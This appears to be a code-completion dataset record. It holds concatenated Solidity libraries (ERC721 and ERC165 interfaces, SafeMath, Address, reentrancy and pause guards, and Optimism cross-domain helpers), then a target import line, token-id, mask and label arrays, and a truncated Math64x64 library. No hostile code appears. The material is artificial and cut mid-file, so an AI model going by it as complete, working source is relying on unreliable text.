or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.9.0; /* Interface Imports */ import {ICrossDomainMessenger} from './ICrossDomainMessenger.sol'; /** * @title CrossDomainEnabled * @dev Helper contract for contracts performing cross-domain communications * * Compiler used: defined by inheriting contract * Runtime target: defined by inheriting contract */ contract CrossDomainEnabled { /************* * Variables * *************/ // Messenger contract used to send and recieve messages from the other domain. address public messenger; /*************** * Constructor * ***************/ /** * @param _messenger Address of the CrossDomainMessenger on the current layer. */ constructor(address _messenger) { messenger = _messenger; } /********************** * Function Modifiers * **********************/ /** * Enforces that the modified function is only callable by a specific cross-domain account. * @param _sourceDomainAccount The only account on the originating domain which is * authenticated to call this function. */ modifier onlyFromCrossDomainAccount(address _sourceDomainAccount) { require( msg.sender == address(getCrossDomainMessenger()), 'OVM_XCHAIN: messenger contract unauthenticated' ); require( getCrossDomainMessenger().xDomainMessageSender() == _sourceDomainAccount, 'OVM_XCHAIN: wrong sender of cross-domain message' ); _; } /********************** * Internal Functions * **********************/ /** * Gets the messenger, usually from storage. This function is exposed in case a child contract * needs to override. * @return The address of the cross-domain messenger contract which should be used. */ function getCrossDomainMessenger() internal virtual returns (ICrossDomainMessenger) { return ICrossDomainMessenger(messenger); } /**q * Sends a message to an account on another domain * @param _crossDomainTarget The intended recipient on the destination domain * @param _message The data to send to the target (usually calldata to a function with * `onlyFromCrossDomainAccount()`) * @param _gasLimit The gasLimit for the receipt of the message on the target domain. */ function sendCrossDomainMessage( address _crossDomainTarget, uint32 _gasLimit, bytes memory _message ) internal { getCrossDomainMessenger().sendMessage( _crossDomainTarget, _message, _gasLimit ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /** * @title Lib_PredeployAddresses */ library Lib_PredeployAddresses { // solhint-disable max-line-length address internal constant L2_TO_L1_MESSAGE_PASSER = 0x4200000000000000000000000000000000000000; address internal constant L1_MESSAGE_SENDER = 0x4200000000000000000000000000000000000001; address internal constant DEPLOYER_WHITELIST = 0x4200000000000000000000000000000000000002; address payable internal constant OVM_ETH = payable(0x4200000000000000000000000000000000000006); // solhint-disable-next-line max-line-length address internal constant L2_CROSS_DOMAIN_MESSENGER = 0x4200000000000000000000000000000000000007; address internal constant LIB_ADDRESS_MANAGER = 0x4200000000000000000000000000000000000008; address internal constant PROXY_EOA = 0x4200000000000000000000000000000000000009; address internal constant L2_STANDARD_BRIDGE = 0x4200000000000000000000000000000000000010; address internal constant SEQUENCER_FEE_WALLET = 0x4200000000000000000000000000000000000011; address internal constant L2_STANDARD_TOKEN_FACTORY = 0x4200000000000000000000000000000000000012; address internal constant L1_BLOCK_NUMBER = 0x4200000000000000000000000000000000000013; address internal constant OVM_GAS_PRICE_ORACLE = 0x420000000000000000000000000000000000000F; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721Receiver.sol"; /** * @dev Implementation of the {IERC721Receiver} interface. * * Accepts all token transfers. * Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}. */ contract ERC721Holder is IERC721Receiver { /** * @dev See {IERC721Receiver-onERC721Received}. * * Always returns `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received( address, address, uint256, bytes memory ) public virtual override returns (bytes4) { return this.onERC721Received.selector; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Library used to query support of an interface declared via {IERC165}. * * Note that these functions return the actual result of the query: they do not * `revert` if an interface is not supported. It is up to the caller to decide * what to do in these cases. */ library ERC165Checker { // As per the EIP-165 spec, no interface should ever match 0xffffffff bytes4 private constant _INTERFACE_ID_INVALID = 0xffffffff; /** * @dev Returns true if `account` supports the {IERC165} interface, */ function supportsERC165(address account) internal view returns (bool) { // Any contract that implements ERC165 must explicitly indicate support of // InterfaceId_ERC165 and explicitly indicate non-support of InterfaceId_Invalid return _supportsERC165Interface(account, type(IERC165).interfaceId) && !_supportsERC165Interface(account, _INTERFACE_ID_INVALID); } /** * @dev Returns true if `account` supports the interface defined by * `interfaceId`. Support for {IERC165} itself is queried automatically. * * See {IERC165-supportsInterface}. */ function supportsInterface(address account, bytes4 interfaceId) internal view returns (bool) { // query support of both ERC165 as per the spec and support of _interfaceId return supportsERC165(account) && _supportsERC165Interface(account, interfaceId); } /** * @dev Returns a boolean array where each value corresponds to the * interfaces passed in and whether they're supported or not. This allows * you to batch check interfaces for a contract where your expectation * is that some interfaces may not be supported. * * See {IERC165-supportsInterface}. * * _Available since v3.4._ */ function getSupportedInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool[] memory) { // an array of booleans corresponding to interfaceIds and whether they're supported or not bool[] memory interfaceIdsSupported = new bool[](interfaceIds.length); // query support of ERC165 itself if (supportsERC165(account)) { // query support of each interface in interfaceIds for (uint256 i = 0; i < interfaceIds.length; i++) { interfaceIdsSupported[i] = _supportsERC165Interface(account, interfaceIds[i]); } } return interfaceIdsSupported; } /** * @dev Returns true if `account` supports all the interfaces defined in * `interfaceIds`. Support for {IERC165} itself is queried automatically. * * Batch-querying can lead to gas savings by skipping repeated checks for * {IERC165} support. * * See {IERC165-supportsInterface}. */ function supportsAllInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool) { // query support of ERC165 itself if (!supportsERC165(account)) { return false; } // query support of each interface in _interfaceIds for (uint256 i = 0; i < interfaceIds.length; i++) { if (!_supportsERC165Interface(account, interfaceIds[i])) { return false; } } // all interfaces supported return true; } /** * @notice Query if a contract implements an interface, does not check ERC165 support * @param account The address of the contract to query for support of an interface * @param interfaceId The interface identifier, as specified in ERC-165 * @return true if the contract at account indicates support of the interface with * identifier interfaceId, false otherwise * @dev Assumes that account contains a contract that supports ERC165, otherwise * the behavior of this method is undefined. This precondition can be checked * with {supportsERC165}. * Interface identification is specified in ERC-165. */ function _supportsERC165Interface(address account, bytes4 interfaceId) private view returns (bool) { bytes memory encodedParams = abi.encodeWithSelector(IERC165.supportsInterface.selector, interfaceId); (bool success, bytes memory result) = account.staticcall{gas: 30000}(encodedParams); if (result.length < 32) return false; return success && abi.decode(result, (bool)); } } // SPDX-License-Identifier: MIT pragma solidity >0.7.5; import { IERC721 } from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import { IERC165 } from "@openzeppelin/contracts/utils/introspection/IERC165.sol"; interface IL1StandardERC721 is IERC165, IERC721 { function l2Contract() external returns (address); function mint(address _to, uint256 _tokenId) external; function burn(uint256 _tokenId) external; event Mint(address indexed _account, uint256 _tokenId); event Burn(uint256 _tokenId); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.9.0; /** * @title ICrossDomainMessenger */ interface ICrossDomainMessenger { /********** * Events * **********/ event SentMessage( address indexed target, address sender, bytes message, uint256 messageNonce, uint256 gasLimit ); event RelayedMessage(bytes32 indexed msgHash); event FailedRelayedMessage(bytes32 indexed msgHash); /************* * Variables * *************/ function xDomainMessageSender() external view returns (address); /******************** * Public Functions * ********************/ /** * Sends a cross domain message to the target messenger. * @param _target Target contract address. * @param _message Message to send to the target. * @param _gasLimit Gas limit for the provided message. */ function sendMessage( address _target, bytes calldata _message, uint32 _gasLimit ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; }
Contract Imports */
import { IL1StandardERC721 } from "../standards/IL1StandardERC721.sol";
278,945
[ 1, 8924, 2221, 4363, 342, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5666, 288, 467, 48, 21, 8336, 654, 39, 27, 5340, 289, 628, 315, 6216, 10005, 87, 19, 2627, 21, 8336, 654, 39, 27, 5340, 18, 18281, 14432, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.5.0 || ^0.6.0; /** * Smart contract library of mathematical functions operating with signed * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is * basically a simple fraction whose numerator is signed 128-bit integer and * denominator is 2^64. As long as denominator is always the same, there is no * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are * represented by int128 type holding only the numerator. */ library Math64x64 { /** * @dev Minimum value signed 64.64-bit fixed point number may have. */ int128 private constant MIN_64x64 = -0x80000000000000000000000000000000; /** * @dev Maximum value signed 64.64-bit fixed point number may have. */ int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; /** * @dev Convert signed 256-bit integer number into signed 64.64-bit fixed point * number. Revert on overflow. * * @param x signed 256-bit integer number * @return signed 64.64-bit fixed point number */ function fromInt (int256 x) internal pure returns (int128) { require (x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF); return int128 (x << 64); } /** * @dev Convert signed 64.64 fixed point number into signed 64-bit integer number * rounding down. * * @param x signed 64.64-bit fixed point number * @return signed 64-bit integer number */ function toInt (int128 x) internal pure returns (int64) { return int64 (x >> 64); } /** * @dev Convert unsigned 256-bit integer number into signed 64.64-bit fixed point * number. Revert on overflow. * * @param x unsigned 256-bit integer number * @return signed 64.64-bit fixed point number */ function fromUInt (uint256 x) internal pure returns (int128) { require (x <= 0x7FFFFFFFFFFFFFFF); return int128 (x << 64); } /** * @dev Convert signed 64.64 fixed point number into unsigned 64-bit integer * number rounding down. Revert on underflow. * * @param x signed 64.64-bit fixed point number * @return unsigned 64-bit integer number */ function toUInt (int128 x) internal pure returns (uint64) { require (x >= 0); return uint64 (x >> 64); } /** * @dev Convert signed 128.128 fixed point number into signed 64.64-bit fixed point * number rounding down. Revert on overflow. * * @param x signed 128.128-bin fixed point number * @return signed 64.64-bit fixed point number */ function from128x128 (int256 x) internal pure returns (int128) { int256 result = x >> 64; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } /** * @dev Convert signed 64.64 fixed point number into signed 128.128 fixed point * number. * * @param x signed 64.64-bit fixed point number * @return signed 128.128 fixed point number */ function to128x128 (int128 x) internal pure returns (int256) { return int256 (x) << 64; } /** * @dev Calculate x + y. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function add (int128 x, int128 y) internal pure returns (int128) { int256 result = int256(x) + y; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } /** * @dev Calculate x - y. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function sub (int128 x, int128 y) internal pure returns (int128) { int256 result = int256(x) - y; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } /** * @dev Calculate x * y rounding down. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function mul (int128 x, int128 y) internal pure returns (int128) { int256 result = int256(x) * y >> 64; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } /** * @dev Calculate x * y rounding towards zero, where x is signed 64.64 fixed point * number and y is signed 256-bit integer number. Revert on overflow. * * @param x signed 